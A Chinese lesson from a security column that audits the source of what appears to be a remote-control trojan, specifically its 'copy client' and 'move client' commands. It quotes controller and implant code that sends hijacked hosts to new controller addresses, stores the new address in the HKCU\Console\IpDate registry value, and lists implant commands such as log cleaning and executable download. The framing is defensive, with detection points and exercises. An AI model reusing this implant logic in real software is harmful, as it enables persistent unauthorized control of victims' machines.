第 23 课:主控复制与转移客户
# 第 23 课:主控复制与转移客户
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只从源码审计和企业安全工程角度解释“复制客户/转移客户”的命令链路,不提供未授权控制、迁移或扩散的操作步骤。
# 1. 先分清:这里不是文件复制
主控右键菜单里有“复制客户”和“转移客户”。这两个功能容易和文件管理里的“复制文件”混淆,但它们不是一回事。
| 功能 | 源码命令 | 作用概述 |
|---|---|---|
| 复制客户 | COMMAND_COPYCLIENT | 被控保持原连接,同时按新地址发起一条新的登录连接 |
| 转移客户 | COMMAND_MOVECLIENT | 被控写入新的连接配置,断开当前连接,后续转向新地址 |
也就是说,它们操作的是“被控连接去哪里”,不是操作文件系统。

# 2. 涉及源码
| 文件 | 作用 |
|---|---|
主控\Quick\QuickView.cpp | 右键菜单入口,发送复制/转移命令 |
主控\Quick\CopyClientDlg.cpp | 复制/转移客户对话框,组装目标地址配置 |
主控\Quick\macros.h | 主控侧 CopyOrMoveClient 结构体定义 |
主插件\登录模块\登录模块\LoginManager.h | 登录模块侧命令枚举和 CopyOrMoveClient 结构体 |
主插件\登录模块\登录模块\LoginManager.cpp | 被控接收命令后执行复制或转移逻辑 |
# 3. 主控右键菜单入口
菜单项定义在主控连接列表右键菜单中。
// 源码位置:主控\Quick\QuickView.cpp:437-438
// 防御分析:这两个菜单项属于客户连接管理,不是文件管理。
mListmeau_khd.AppendMenu(MF_STRING | MF_ENABLED, MENU_移机, _T("转移客户"));
mListmeau_khd.AppendMenu(MF_STRING | MF_ENABLED, MENU_复机, _T("复制客户"));
2
3
4
用户选择菜单后,主控会弹出 CCopyClientDlg。转移客户传入 true,复制客户使用默认 false。
// 源码位置:主控\Quick\QuickView.cpp:1250-1268
case MENU_移机: // 转移客户
{
// 防御分析:true 表示转移模式。对话框会允许填写三组地址。
CCopyClientDlg dlg(_T("移动机器"), nullptr, true);
if (dlg.DoModal() != IDOK)
return;
// 防御分析:发送的是 CopyOrMoveClient 结构体,不是文件内容。
SendSelectCommand((PBYTE)(&dlg.m_stCopyOrMoveClient), sizeof(CopyOrMoveClient));
log_信息("移动机器");
}
break;
case MENU_复机: // 复制客户
{
// 防御分析:复制模式只启用第一组地址,目标是新增连接。
CCopyClientDlg dlg(_T("复制机器"));
if (dlg.DoModal() != IDOK)
return;
SendSelectCommand((PBYTE)(&dlg.m_stCopyOrMoveClient), sizeof(CopyOrMoveClient));
log_信息("复制机器");
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 4. 命令结构:CopyOrMoveClient
主控和登录模块都定义了同名结构体。结构体第一字节是命令,后面是配置字符串。
// 源码位置:主控\Quick\macros.h:493-498
// 复制或移动被控端结构体
struct CopyOrMoveClient
{
byte token; // 防御分析:COMMAND_MOVECLIENT 或 COMMAND_COPYCLIENT。
TCHAR config[1000]; // 防御分析:目标连接配置,格式类似 |p1:...|o1:...|t1:...|。
};
2
3
4
5
6
7
登录模块侧命令枚举如下。
// 源码位置:主插件\登录模块\登录模块\LoginManager.h:12-32
enum LoginManager
{
COMMAND_DLLMAIN,
COMMAND_SENDLL,
COMMAND_CLOSESOCKET,
COMMAND_GET_PROCESSANDCONDITION,
COMMAND_GET_SCREEN,
COMMAND_UPLOAD_EXE,
COMMAND_DOWN_EXE,
COMMAND_RENAME,
COMMAND_FILTERPROCESS,
COMMAND_MONITOR,
COMMAND_GETMONITOR,
COMMAND_CLEANLOG,
COMMAND_RESTART,
COMMAND_EXIT,
COMMAND_LOGOUT,
COMMAND_REBOOT,
COMMAND_SHUTDOWN,
COMMAND_CHANGELOAD,
COMMAND_MOVECLIENT, // 防御分析:移动被控,写新配置并断开当前连接。
COMMAND_COPYCLIENT, // 防御分析:拷贝被控,按新配置发起额外连接。
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 5. 主控如何组装复制/转移配置
CCopyClientDlg 根据模式不同启用不同输入项。复制模式只需要第一组地址;转移模式允许三组地址。
// 源码位置:主控\Quick\CopyClientDlg.cpp:59-76
BOOL CCopyClientDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetWindowText(m_strDlgTitle);
if (!m_isMoveClientType)
{
// 防御分析:复制客户只使用第一组连接配置,第二/第三组控件被禁用。
GetDlgItem(IDC_EDIT_IP2)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_PORT2)->EnableWindow(FALSE);
GetDlgItem(IDC_COMBO_NET2)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_IP3)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_PORT3)->EnableWindow(FALSE);
GetDlgItem(IDC_COMBO_NET3)->EnableWindow(FALSE);
m_combo_net.SetCurSel(0);
return TRUE;
}
// 防御分析:转移客户保留三组地址,便于被控后续轮换连接。
m_combo_net.SetCurSel(0);
m_combo_net2.SetCurSel(0);
m_combo_net3.SetCurSel(0);
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
按下确定时,对话框把用户输入写入 m_stCopyOrMoveClient。
// 源码位置:主控\Quick\CopyClientDlg.cpp:80-109
void CCopyClientDlg::OnBnClickedOk()
{
UpdateData(TRUE);
if (m_isMoveClientType)
{
// 防御分析:转移模式包含三组连接参数。
CString s = _T("|p1:地址1|o1:端口1|t1:通信1|p2:地址2|o2:端口2|t2:通信2|p3:地址3|o3:端口3|t3:通信3|");
Setfindinfo(s, _T("地址1"), m_edit_ip.GetBuffer(), NULL);
Setfindinfo(s, _T("端口1"), m_edit_port.GetBuffer(), NULL);
Setfindinfo(s, _T("通信1"), NULL, m_combo_net.GetCurSel() ? false : true);
Setfindinfo(s, _T("地址2"), m_edit_ip2.GetBuffer(), NULL);
Setfindinfo(s, _T("端口2"), m_edit_port2.GetBuffer(), NULL);
Setfindinfo(s, _T("通信2"), NULL, m_combo_net2.GetCurSel() ? false : true);
Setfindinfo(s, _T("地址3"), m_edit_ip3.GetBuffer(), NULL);
Setfindinfo(s, _T("端口3"), m_edit_port3.GetBuffer(), NULL);
Setfindinfo(s, _T("通信3"), NULL, m_combo_net3.GetCurSel() ? false : true);
m_stCopyOrMoveClient.token = COMMAND_MOVECLIENT;
memcpy(m_stCopyOrMoveClient.config, s.GetBuffer(), s.GetLength() * 2 + 2);
}
else
{
// 防御分析:复制模式只包含第一组连接参数。
CString s = _T("|p1:地址1|o1:端口1|t1:通信1|");
Setfindinfo(s, _T("地址1"), m_edit_ip.GetBuffer(), NULL);
Setfindinfo(s, _T("端口1"), m_edit_port.GetBuffer(), NULL);
Setfindinfo(s, _T("通信1"), NULL, m_combo_net.GetCurSel() ? false : true);
m_stCopyOrMoveClient.token = COMMAND_COPYCLIENT;
memcpy(m_stCopyOrMoveClient.config, s.GetBuffer(), s.GetLength() * 2 + 2);
}
CDialog::OnOK();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 6. 登录模块如何处理“转移客户”
转移客户的核心是:写入新配置、更新内存中的 MyInfo、断开当前连接。后续重连时会使用新的配置。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:557-594
case COMMAND_MOVECLIENT:
{
CopyOrMoveClient* pMoveClient = new CopyOrMoveClient;
memcpy(pMoveClient, lpBuffer, nSize);
// 防御分析:新连接配置写入 HKCU\Console\IpDate。
// 这是转移客户的重要持久化线索,企业侧应记录注册表写入。
HKEY hKey;
::RegOpenKeyEx(HKEY_CURRENT_USER, _T("Console"), 0, KEY_SET_VALUE, &hKey);
::RegDeleteValue(hKey, _T("IpDate"));
DWORD IpDatesize = nSize - 1;
if (ERROR_SUCCESS != ::RegSetValueEx(hKey, _T("IpDate"), 0, REG_BINARY,
(unsigned char*)pMoveClient->config, IpDatesize))
{
this->SendLastError(1, _T("失败-移机配置\n"));
::RegCloseKey(hKey);
}
else
{
this->SendLastError(1, _T("成功-移机配置\n"));
// 防御分析:配置写入成功后,立即更新当前 MyInfo。
Getfindinfo(pMoveClient->config, _T("p1:"), MyInfo.szAddress, NULL);
Getfindinfo(pMoveClient->config, _T("o1:"), MyInfo.szPort, NULL);
Getfindinfo(pMoveClient->config, _T("t1:"), NULL, &(MyInfo.IsTcp));
Getfindinfo(pMoveClient->config, _T("p2:"), MyInfo.szAddress2, NULL);
Getfindinfo(pMoveClient->config, _T("o2:"), MyInfo.szPort2, NULL);
Getfindinfo(pMoveClient->config, _T("t2:"), NULL, &(MyInfo.IsTcp2));
Getfindinfo(pMoveClient->config, _T("p3:"), MyInfo.szAddress3, NULL);
Getfindinfo(pMoveClient->config, _T("o3:"), MyInfo.szPort3, NULL);
Getfindinfo(pMoveClient->config, _T("t3:"), NULL, &(MyInfo.IsTcp3));
::RegCloseKey(hKey);
// 防御分析:延迟后断开当前连接,让后续重连进入新配置。
Sleep(2000);
Disconnect();
}
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 7. 登录模块如何处理“复制客户”
复制客户不会覆盖当前连接配置,而是启动一个线程,按新地址重新发起登录流程。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:599-611
case COMMAND_COPYCLIENT:
{
CopyOrMoveClient* pCopyClient = new CopyOrMoveClient;
if (nSize == sizeof(CopyOrMoveClient))
{
memcpy(pCopyClient, lpBuffer, nSize);
// 防御分析:复制客户通过新线程执行 CopyClient,不主动断开当前连接。
HANDLE hWorker = (HANDLE)_beginthreadex(
NULL,
0,
CopyClient,
(void*)pCopyClient,
0,
NULL);
CloseHandle(hWorker);
}
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CopyClient 线程只解析第一组地址,然后重新建立连接和登录。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:132-181
unsigned int __stdcall CopyClient(void* pVoid)
{
CopyOrMoveClient* pCopyClient = (CopyOrMoveClient*)pVoid;
TCHAR szTime[255];
GetTimeFormat(szTime);
TCHAR szAddress[255] = { 0 };
TCHAR szPort[30] = { 0 };
BOOL IsTcp;
// 防御分析:复制客户只读取 p1/o1/t1。
Getfindinfo(pCopyClient->config, _T("p1:"), szAddress, NULL);
Getfindinfo(pCopyClient->config, _T("o1:"), szPort, NULL);
Getfindinfo(pCopyClient->config, _T("t1:"), NULL, &(IsTcp));
while (TRUE)
{
ISocketBase* socketClient = NULL;
if (IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
// 防御分析:向新地址建立额外连接。
// 企业侧可观察同一主机在短时间内出现多个控制端连接。
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
CLoginManager manager(socketClient, szAddress, _ttoi(szPort), IsTcp);
if (sendLoginInfo(socketClient, szTime, MyInfo.otherset.special) == -1)
{
socketClient->Disconnect();
continue;
}
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
Sleep(1000);
if (!manager.IsActived())
{
socketClient->Disconnect();
continue;
}
socketClient->run_event_loop();
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

# 8. 两个功能的差异
| 对比项 | 复制客户 | 转移客户 |
|---|---|---|
| 命令 | COMMAND_COPYCLIENT | COMMAND_MOVECLIENT |
| 配置组数 | 只用第一组 | 使用三组 |
| 是否写注册表 | 否 | 是,写 HKCU\Console\IpDate |
| 是否断开当前连接 | 否 | 是,Disconnect() |
| 主要效果 | 增加一条新连接 | 将被控迁移到新连接配置 |
| 检测重点 | 多控制端连接、额外线程 | 注册表配置变化、连接断开后转向 |
# 9. 企业检测点
| 层面 | 检测点 |
|---|---|
| 主控侧 | 右键菜单触发 MENU_移机 / MENU_复机,日志出现“移动机器”“复制机器” |
| 协议侧 | 下发 COMMAND_MOVECLIENT 或 COMMAND_COPYCLIENT,载荷包含 CopyOrMoveClient |
| 主机侧 | COMMAND_MOVECLIENT 写入 HKCU\Console\IpDate |
| 网络侧 | 转移后原连接断开并转向新地址;复制后同一被控可能新增连接 |
| 取证侧 | 关联主控日志、被控注册表、连接目的地址变化 |
# 10. 合法练习题
- 只读源码,画出
QuickView.cpp -> CopyClientDlg.cpp -> LoginManager.cpp的调用链。 - 对比
COMMAND_COPYCLIENT和COMMAND_MOVECLIENT的行为差异,说明哪个会写注册表。 - 从检测视角解释:为什么“复制客户”可能导致同一被控出现多条控制连接。
- 为合规远程运维工具设计一个安全约束:执行转移客户前需要哪些审批、日志和用户提示。
# 11. 本课小结
“复制客户/转移客户”是连接迁移功能,不是文件复制。主控通过 CCopyClientDlg 组装 CopyOrMoveClient,再通过网络命令下发给登录模块。复制客户会启动额外连接线程;转移客户会写入新配置、更新 MyInfo 并断开当前连接。企业侧应重点关注注册表配置变化、连接目的地址变化和多控制端连接现象。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言